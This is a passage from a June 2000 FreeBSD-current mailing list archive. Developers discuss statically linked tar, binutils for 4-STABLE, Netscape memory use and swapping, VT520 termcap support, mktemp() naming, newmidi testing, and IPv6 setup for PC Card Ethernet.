> Why a lot of files in /usr/bin(sbin) are static linked? > for example, tar: static - 272832 bytes(83416 dynamic) IMO tar should live in /bin as it is used to restore a system from tape. I don't know why ``dump'' is in /usr/sbin -- only restore should be there. /usr/bin/tar is statically linked so it isn't depended on /usr/lib/ which may be terribly broken (and thus why you are doing a restore). > is it magic of /usr/src/gnu folder? Has nothing to do with it. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 20:31:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 777E737B574; Sun, 11 Jun 2000 20:31:13 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id UAA29036; Sun, 11 Jun 2000 20:31:11 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id UAA83745; Sun, 11 Jun 2000 20:31:41 -0700 (PDT) (envelope-from obrien) Date: Sun, 11 Jun 2000 20:31:40 -0700 From: "David O'Brien" To: Bruce Evans Cc: Kris Kennaway , current@FreeBSD.ORG Subject: Re: 4.x buildworlds broken on -current Message-ID: <20000611203140.C82436@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from bde@zeta.org.au on Sun, Jun 11, 2000 at 04:43:41PM +1000 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 11, 2000 at 04:43:41PM +1000, Bruce Evans wrote: > Building old kernels under -current is becoming difficult. I build kernels > for RELENG_3 and RELENG_4. This causes a lot of new warnings about invalid > assembler, but still works, at least a week ago. Don't worry, the plan is to bring Bintuils 2.10 to 4-STABLE once I can setup a suffient testing environment. As far the assembly cleanup, that's really jhb's area. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 20:54:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id 82D5737B6B5; Sun, 11 Jun 2000 20:54:43 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: from shell-1.enteract.com (dscheidt@shell-1.enteract.com [207.229.143.40]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id WAA08762; Sun, 11 Jun 2000 22:54:26 -0500 (CDT) (envelope-from dscheidt@enteract.com) Date: Sun, 11 Jun 2000 22:54:25 -0500 (CDT) From: David Scheidt To: wonko@entropy.tmok.com Cc: Kent Stewart , dillon@apollo.backplane.com, dgilbert@velocet.ca, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Worst case swapping. In-Reply-To: <200006120129.VAA69456@entropy.tmok.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Jun 2000, Brian Hechinger wrote: :Kent Stewart drunkenly mumbled... :> :> Netscape reallys goes to pot in a hurry if you allow it to use more :> than 1-2MB of memory cache. A friend was seeing a terrible response :> and tracked it back to Netscape's memory cache. He had a lot of memory :> and started out with something on the order of 16MB. By the time he :> was satisfied he was allowing less than ~2MB of memory cache, which is :> all I had ever allowed it to use. : :i never screwed with the memory cache, but i've seen some pretty heavy memory :leakage with navigator. how long have you had netscape running? an hour, a Netscape has lots of memory leaks. the worst seem to be in Javascript, with java being a close second. I find I get the best performance and stability out of it if I leave those off, except when you need them. I also keep the memory cache size small, 2 or 3 megs; I leave the disk cache at a large size, since I am behind a slow link. The FreeBSD buffer caching does a good job of not throwing stuff away that I am actually using, so that works out quite well. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 21: 7: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail-1.sjc.telocity.net (mail-1.sjc.telocity.net [216.227.56.41]) by hub.freebsd.org (Postfix) with ESMTP id C7ABB37B95D; Sun, 11 Jun 2000 21:07:02 -0700 (PDT) (envelope-from otterr@telocity.com) Received: from dsl-216-227-91-85.telocity.com (dsl-216-227-91-85.telocity.com [216.227.91.85]) by mail-1.sjc.telocity.net (8.9.3/8.9.3) with ESMTP id VAA05654; Sun, 11 Jun 2000 21:05:05 -0700 (PDT) Date: Mon, 12 Jun 2000 00:09:01 +0000 (GMT) From: Otter To: freebsd-questions@freebsd.org Cc: freebsd-current@freebsd.org Subject: VT520 support Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does FreeBSD support the vt520? I've looked around in documentation, but haven't been able to find anything about it. If it isn't yet, I could probably get my hands on a spare (note single, not plural) if someone is seriously interested in supporting it. TIA. -Otter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 21:35: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id 76E6D37B995; Sun, 11 Jun 2000 21:34:54 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id AAA30242; Mon, 12 Jun 2000 00:35:07 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Mon, 12 Jun 2000 00:35:07 -0400 (EDT) From: "Brandon D. Valentine" To: Otter Cc: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: VT520 support In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 12 Jun 2000, Otter wrote: >Does FreeBSD support the vt520? I've looked around in documentation, >but haven't been able to find anything about it. If it isn't yet, I could >probably get my hands on a spare (note single, not plural) if someone is >seriously interested in supporting it. TIA. >-Otter I don't see an entry in termcap.src,v1.90 under HEAD for vt520. However, it is in esr's v11.0.1 of the termcap.src file. This file is copyrightless and appears 100% compatible with the current termcap. Is there any reason it is not merged in regularly? Regardless, here is the termcap entry for a vt520 in the termcap syntax: vt520|DEC VT520:\ :am:mi:xn:xo:\ :co#80:li#24:vt#3:\ :*6=\E[4~:@0=\E[1~:RA=\E[?7l:\ :S5=\E[?0;0r\E>\E[?3l\E[?4l\E[?5l\E[?7h\E[?8h:\ :SA=\E[?7h:\ :ac=``aaffggjjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~:\ :ae=\E(B:al=\E[L:as=\E(0:bl=^G:cd=\E[J:ce=\E[K:\ :cl=\E[H\E[2J:cm=\E[%i%d;%dH:cr=^M:cs=\E[%i%d;%dr:\ :dc=\E[P:dl=\E[M:do=\E[B:ei=\E[4l:ho=\E[H:\ :i2=\E[?67h\E[64;1"p:if=/usr/share/tabset/vt300:\ :im=\E[4h:is=\E[1;24r\E[24;1H:k0=\E[29~:k1=\EOP:k2=\EOQ:\ :k3=\EOR:k4=\EOS:k5=\E[17~:k6=\E[18~:k7=\E[19~:k8=\E[20~:\ :k9=\E[21~:k;=\E[29~:kD=\E[3~:kI=\E[2~:kN=\E[6~:kP=\E[5~:\ :kb=^H:kd=\E[B:kl=\E[D:kr=\E[C:ku=\E[A:le=^H:mb=\E[5m:\ :md=\E[1m:me=\E[m:mr=\E[7m:nd=\E[C:r3=\E[?67h\E[64;1"p:\ :rc=\E8:rf=/usr/share/tabset/vt300:sc=\E7:se=\E[m:sf=\ED:\ :so=\E[7m:sr=\EM:ta=^I:ue=\E[m:up=\E[A:us=\E[4m: Brandon D. Valentine -- "You should believe in death, taxes, Larry Ellison's loathing of Bill Gates and Intel's inability to ship a working chipset." - Dr Spinola, The Register, 05/13/2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 1: 2:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 76FC537BBFC; Mon, 12 Jun 2000 01:02:35 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id BAA91499; Mon, 12 Jun 2000 01:02:34 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Mon, 12 Jun 2000 01:02:34 -0700 (PDT) From: Kris Kennaway To: Matthew Dillon Cc: Peter Wemm , David Scheidt , current@FreeBSD.ORG Subject: Re: mktemp() patch In-Reply-To: <200006112248.PAA29429@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Jun 2000, Matthew Dillon wrote: > There's reasonable, and there's overkill. mktemp() has no business > using punctuation in the temporary file names. > :You guys are responding to old messages..I've already changed my mind > :about this. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 1:28:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.bart.nl (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id 89D2337BD34 for ; Mon, 12 Jun 2000 01:28:12 -0700 (PDT) (envelope-from asmodai@lucifer.bart.nl) Received: (from asmodai@localhost) by lucifer.bart.nl (8.9.3/8.9.3) id KAA26873; Mon, 12 Jun 2000 10:27:51 +0200 (CEST) (envelope-from asmodai) Date: Mon, 12 Jun 2000 10:27:51 +0200 From: Jeroen Ruigrok van der Werven To: Seigo Tanimura Cc: current@FreeBSD.ORG Subject: Re: Newmidi Release Candidate is ready Message-ID: <20000612102751.B26612@lucifer.bart.nl> References: <14659.36623.170970.72159A@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <14659.36623.170970.72159A@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp>; from tanimura@r.dl.itc.u-tokyo.ac.jp on Sun, Jun 11, 2000 at 10:07:27PM +0900 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000611 15:16], Seigo Tanimura (tanimura@r.dl.itc.u-tokyo.ac.jp) wrote: >The release candidate of newmidi is finally ready. The patch for >-current can be found at: Results [after minor tweaks in the patch]: seq0-63: Midi sequencers. sbc0: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0 sbc0: setting card to irq 5, drq 1, 5 device_add_child_ordered:528: pcm at sbc with order 0 as unit -1 make_device:458: pcm at sbc as unit -1 device_add_child_ordered:528: midi at sbc with order 0 as unit -1 make_device:458: midi at sbc as unit -1 device_add_child_ordered:528: midi at sbc with order 0 as unit -1 make_device:458: midi at sbc as unit -1 pcm0: on sbc0 pcm: setmap c000, 2000; 0xc7d74000 -> c000 pcm: setmap e000, 2000; 0xc7d76000 -> e000 midi0: on sbc0 midi1: on sbc0 unknown7: at port 0x200-0x207 on isa0 unknown8: at port 0x620-0x623 on isa0 unknown9: at port 0x180-0x187,0x316-0x317 irq 15 on isa0 I then MAKEDEV'd snd0 again, so that I got the midi0 and sequencer0 devices, but playmidi doesn't play anything. Going to set more debugging on. -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl For dust thou art, and unto dust shalt thou return. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 1:42:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from main.avias.com (avias-gw.corbina.net [195.14.40.4]) by hub.freebsd.org (Postfix) with ESMTP id E9FA137C017; Mon, 12 Jun 2000 01:42:36 -0700 (PDT) (envelope-from j@avias.com) Received: from dialup2.avias.com (dialup2.avias.com [195.14.38.69]) by main.avias.com (8.9.3/8.9.3) with ESMTP id MAA38519; Mon, 12 Jun 2000 12:42:33 +0400 (MSD) (envelope-from j@avias.com) Date: Mon, 12 Jun 2000 12:42:42 +0400 (MSD) From: Juriy Goloveshkin X-Sender: juriy@localhost To: "David O'Brien" Cc: current@freebsd.org Subject: Re: static linked files in /usr/bin In-Reply-To: <20000611202732.B82436@dragon.nuxi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Jun 2000, David O'Brien wrote: > On Sun, Jun 11, 2000 at 09:00:34PM +0400, Juriy Goloveshkin wrote: > > Why a lot of files in /usr/bin(sbin) are static linked? > > for example, tar: static - 272832 bytes(83416 dynamic) > > IMO tar should live in /bin as it is used to restore a system from tape. > I don't know why ``dump'' is in /usr/sbin -- only restore should be > there. > > /usr/bin/tar is statically linked so it isn't depended on /usr/lib/ which > may be terribly broken (and thus why you are doing a restore). but /usr/bin and /usr/lib usualy live at the same filesystem and if /usr/lib may be broken, what we may say about /usr/bin? I think utilities in /usr/... must be dynamicaly linked. btw, I compared the size of bin-tarballs in 2.8 and current distributions. I downloaded 2.8 by modem without spending SO many time... current minimal installation require to download 30-35Mb! maybe RELEASE-bin* must be splited? say... configs,binaries and developer stuff(includes,gcc stuff, lib*.a, developer's manpages) Bye Juriy Goloveshkin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 4: 2:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id BAF0837CA6F for ; Mon, 12 Jun 2000 04:02:37 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id EAA30594; Mon, 12 Jun 2000 04:02:34 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id EAA90043; Mon, 12 Jun 2000 04:02:26 -0700 (PDT) (envelope-from obrien) Date: Mon, 12 Jun 2000 04:02:25 -0700 From: "David O'Brien" To: Juriy Goloveshkin Cc: current@freebsd.org Subject: Re: static linked files in /usr/bin Message-ID: <20000612040224.A89807@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20000611202732.B82436@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from j@avias.com on Mon, Jun 12, 2000 at 12:42:42PM +0400 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 12, 2000 at 12:42:42PM +0400, Juriy Goloveshkin wrote: > but /usr/bin and /usr/lib usualy live at the same filesystem and if > /usr/lib may be broken, what we may say about /usr/bin? Statically linked binaries in /usr/bin/ will still be usable. You didn't think about what I said. Tar *is* a recovery tool. I've killed libc.so.* and ld-elf.os before suffiently bad that I was quite glad tar was statically linked. > maybe RELEASE-bin* must be splited? say... configs,binaries and developer > stuff(includes,gcc stuff, lib*.a, developer's manpages) Diffs? -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 5:44:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from fe080.worldonline.dk (fe080.worldonline.dk [212.54.64.210]) by hub.freebsd.org (Postfix) with SMTP id 1236837BBF2 for ; Mon, 12 Jun 2000 05:44:32 -0700 (PDT) (envelope-from jacob.lorensen@e-postboks.dk) Received: (qmail 12149 invoked by uid 0); 12 Jun 2000 12:44:22 -0000 Received: from 4.ppp1-32.worldonline.dk (HELO pippin.jblhome.ping.dk) (212.54.93.132) by fe080.worldonline.dk with SMTP; 12 Jun 2000 12:44:22 -0000 Received: (from jacob@localhost) by pippin.jblhome.ping.dk (8.9.3/8.9.3) id OAA04694; Mon, 12 Jun 2000 14:26:08 +0200 (CEST) (envelope-from jacob) To: Matthew Dillon Cc: David Gilbert , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Worst case swapping. References: <14660.3153.658226.142964@trooper.velocet.net> <200006112220.PAA29235@apollo.backplane.com> <14660.4950.94654.399889@trooper.velocet.net> <200006112246.PAA29392@apollo.backplane.com> From: Jacob Bohn Lorensen Date: 12 Jun 2000 14:26:08 +0200 In-Reply-To: Matthew Dillon's message of "Sun, 11 Jun 2000 15:46:03 -0700 (PDT)" Message-ID: <87g0qj2ihr.fsf@pippin.jblhome.ping.dk> Lines: 28 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Matthew" == Matthew Dillon writes: Matthew> :Believe me, I look at these things. Yes there is a lot Matthew> going on and a :lot using memory. I normally have about Matthew> 20% to 25% of my Gig of swap :used... meaning that I have Matthew> allocated roughly double my RAM in :applications. : :And Matthew> when this worst-case happens, memory is full... but the Matthew> only :active application is Netscape. : :On my home Matthew> machine, the same thing tends to happen. It only has Matthew> 128M :and vastly fewer things going on. I see cases were Matthew> I'm surfing for :20-30 minutes and I will hit this 10 to Matthew> 30 second (longer, becase the :swap at home is slower) Matthew> gap in netscape response. : :The only other applications Matthew> running would be something like a small :UUCP transfer or Matthew> a small amount of NFS traffic when the wife's :(diskless) Matthew> machine changes screensavers. : :Dave. This may be a stupid suggestion, so please excuse me if it is... but... have you checked process resource limits? Especially the "memoryuse" parameter, I think, tells the system how large a working set you will allow each process. Regards, Jacob. -- Jacob Lorensen; Mosebuen 33, 1.; DK-2820 Gentofte, Denmark; +45 39560401 PGPid: 0x752EB4DE Fingerprint: F609A0BAFF393EA904F7-F344680F8EED752EB4DE To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 7:53:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.altadena.net (ns.altadena.net [206.126.144.2]) by hub.freebsd.org (Postfix) with ESMTP id 068DE37B57B; Mon, 12 Jun 2000 07:53:05 -0700 (PDT) (envelope-from pete@ns.altadena.net) Received: (from pete@localhost) by ns.altadena.net (8.9.3/8.8.8) id HAA23263; Mon, 12 Jun 2000 07:53:02 -0700 (PDT) (envelope-from pete) From: Pete Carah Message-Id: <200006121453.HAA23263@ns.altadena.net> Subject: pccardd and modules To: current@freebsd.org, mobile@freebsd.org Date: Mon, 12 Jun 2000 07:53:02 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=iso8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I notice that though ifconfig does a kld as appropriate, pccardd doesn't at least as of a week ago. Still looks like it isn't in the source. 1. Is this in the works from one of the normal maintainers? If not I might take a look at fixing it up over the next week or so. -- Pete To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 9:22:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from afs.itc.keio.ac.jp (afs.itc.keio.ac.jp [131.113.212.3]) by hub.freebsd.org (Postfix) with SMTP id 1AF2037B876 for ; Mon, 12 Jun 2000 09:22:34 -0700 (PDT) (envelope-from hosokawa@itc.keio.ac.jp) Received: (qmail 5523 invoked from network); 12 Jun 2000 16:22:29 -0000 Received: from pppa03.yk.rim.or.jp (HELO localhost.FromTo.Cc) (202.247.186.3) by afs.itc.keio.ac.jp with SMTP; 12 Jun 2000 16:22:29 -0000 Date: Tue, 13 Jun 2000 01:23:01 +0900 Message-ID: <86itveq36i.wl@ringo.FromTo.Cc> From: Tatsumi Hosokawa To: pete@ns.altadena.net Cc: current@freebsd.org, mobile@freebsd.org Subject: Re: pccardd and modules In-Reply-To: In your message of "Mon, 12 Jun 2000 07:53:02 -0700 (PDT)" <200006121453.HAA23263@ns.altadena.net> References: <200006121453.HAA23263@ns.altadena.net> User-Agent: Wanderlust/1.1.0 (Overjoyed) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 9) (Canyonlands) (i386--freebsd) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At Mon, 12 Jun 2000 07:53:02 -0700 (PDT), Pete Carah wrote: > > I notice that though ifconfig does a kld as appropriate, pccardd doesn't > at least as of a week ago. Still looks like it isn't in the source. > > 1. Is this in the works from one of the normal maintainers? If not I > might take a look at fixing it up over the next week or so. Currently I'm not working on this. (I'm now working on multilingual support for -current sysinstall) ...Hmm? Does sysinstall have to have the same function :-) ??? -- --------------------------- Tatsumi Hosokawa hosokawa@itc.keio.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 12:58:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 3306B37B602 for ; Mon, 12 Jun 2000 12:58:35 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p17-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.18]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id EAA21709; Tue, 13 Jun 2000 04:58:24 +0900 (JST) Message-ID: <394537FE.9AD506CD@newsguy.com> Date: Tue, 13 Jun 2000 04:20:30 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: David Gilbert Cc: freebsd-current@FreeBSD.ORG Subject: Re: (thoughts on) the mktemp() patch. References: <14660.2642.194412.404753@trooper.velocet.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Gilbert wrote: > > Maybe the soltion is to think out of the box. Maybe temporary > filestore should be a more official OS service. Race conditions would > be far less common if the OS itself was managing the namespace. > > You might even expand the capability somewhat. Provide process local, > uid local and global namespaces. You'd even gain the ability to > specify the limits on temporary filestore. We have an out of the box solution. But there are other software out there in the world that happens to use mktemp() and we have no control of. So we are trying to improve mktemp(). -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 14: 4:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from quack.kfu.com (quack.kfu.com [170.1.70.2]) by hub.freebsd.org (Postfix) with ESMTP id C983237B813 for ; Mon, 12 Jun 2000 14:04:12 -0700 (PDT) (envelope-from nsayer@mailhost.kfu.com) Received: from icarus.kfu.com (icarus.kfu.com [170.1.70.50]) by quack.kfu.com (8.9.2/8.9.3) with ESMTP id OAA72739 for ; Mon, 12 Jun 2000 14:04:08 -0700 (PDT) (envelope-from nsayer@mailhost.kfu.com) Received: by icarus.kfu.com (8.9.3//ident-1.0) id OAA02295; Mon, 12 Jun 2000 14:04:08 -0700 (PDT) Date: Mon, 12 Jun 2000 14:04:08 -0700 (PDT) From: Message-Id: <200006122104.OAA02295@icarus.kfu.com> To: freebsd-current@freebsd.org Subject: IPv6, PCcard and rc scripts Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have put this at the end of pccard_ether: case ${ipv6_enable} in [Yy][Ee][Ss]) ipv6_network_interfaces=${interface} ipv6_default_interface=${interface} . /etc/rc.network6 network6_pass1 ;; esac It _sort of_ fixes the problem of what to do if you use IPv6 with pccard Ethernet cards. The problem remaining is that the boot stuff will still see ipv6_enable=YES and attempt to configure an interface that is either nonexistent or already up. I'm mentioning this because the issue needs some further thought. I propose that the rc.network* scripts be touched up a bit so that the export a per-interface setup function. This per-interface function would be called once at startup for each interface or once at pc-card insert/remove time, but never at both. Along with this would be functions that happen purely at system startup or after one or more grouped calls to the per-interface setup function. Comments? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 14:21:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id E346B37B9E9 for ; Mon, 12 Jun 2000 14:21:53 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id RAA95499; Mon, 12 Jun 2000 17:21:48 -0400 (EDT) (envelope-from wollman) Date: Mon, 12 Jun 2000 17:21:48 -0400 (EDT) From: Garrett Wollman Message-Id: <200006122121.RAA95499@khavrinen.lcs.mit.edu> To: Cc: freebsd-current@FreeBSD.ORG Subject: IPv6, PCcard and rc scripts In-Reply-To: <200006122104.OAA02295@icarus.kfu.com> References: <200006122104.OAA02295@icarus.kfu.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > It _sort of_ fixes the problem of what to do if you use IPv6 with > pccard Ethernet cards. That's not the only problem. I had to severely hack `pccard_ether' to make it able to deal with the radically different configurations required for wireless and wired network connections. (Specifically, my wireless uses DHCP but wired does not.) Note to Bill Paul: most real-life wireless installations I've seen are infrastructure mode. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 14:26:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from europe.std.com (europe.std.com [199.172.62.20]) by hub.freebsd.org (Postfix) with ESMTP id D3D8737BB13 for ; Mon, 12 Jun 2000 14:26:49 -0700 (PDT) (envelope-from prb@world.std.com) Received: from world.std.com (root@world-f.std.com [199.172.62.5]) by europe.std.com (8.9.3/8.9.3) with ESMTP id RAA03053 for ; Mon, 12 Jun 2000 17:26:43 -0400 (EDT) Received: from prb (ppp0b088.std.com [208.192.101.88]) by world.std.com (8.9.3/8.9.3) with SMTP id RAA12961 for ; Mon, 12 Jun 2000 17:24:14 -0400 (EDT) Message-ID: <000801bfd4cd$cf5372c0$5865c0d0@prb> Reply-To: "Philip R. Bator" From: "Philip R. Bator" To: Subject: Date: Mon, 12 Jun 2000 17:24:56 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01BFD493.210DD960" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01BFD493.210DD960 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0005_01BFD493.210DD960 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
